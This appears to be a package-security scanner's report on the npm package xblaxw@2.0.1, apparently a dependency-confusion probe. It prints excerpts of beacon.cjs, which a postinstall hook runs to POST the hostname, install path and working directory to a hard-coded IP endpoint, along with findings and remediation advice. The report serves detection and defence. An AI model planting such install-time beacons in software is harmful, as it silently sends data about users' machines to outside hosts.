xblaxw@2.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe package performs automatic external reporting of host identity and installation paths during installation. This is concrete data exfiltration behavior, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The package's postinstall hook runs during npm installation.
Impact
The external recipient learns identifying information about the machine and package installation context.
Mechanism
beacon.cjs sends a JSON POST to a hard-coded HTTP endpoint with the hostname, install path, working directory, package name, and npm user agent.
Attack narrative
On installation, the postinstall hook runs beacon.cjs, which sends machine and installation metadata to a fixed external HTTP endpoint. The inspected code shows no user opt-in or destination selection.
AI rationale
The package performs automatic external reporting of host identity and installation paths during installation. This is concrete data exfiltration behavior, so the package should be blocked.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs beacon.cjs during installation.
- beacon.cjs posts to a hard-coded external IP address over HTTP.
- The request payload includes the machine hostname, install path, and working directory.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs beacon.cjs during installation.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "xblaxw";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to xblaxw@2.0.1.
See all versions of xblaxw for other recorded verdicts.
- Avoid installing xblaxw@2.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.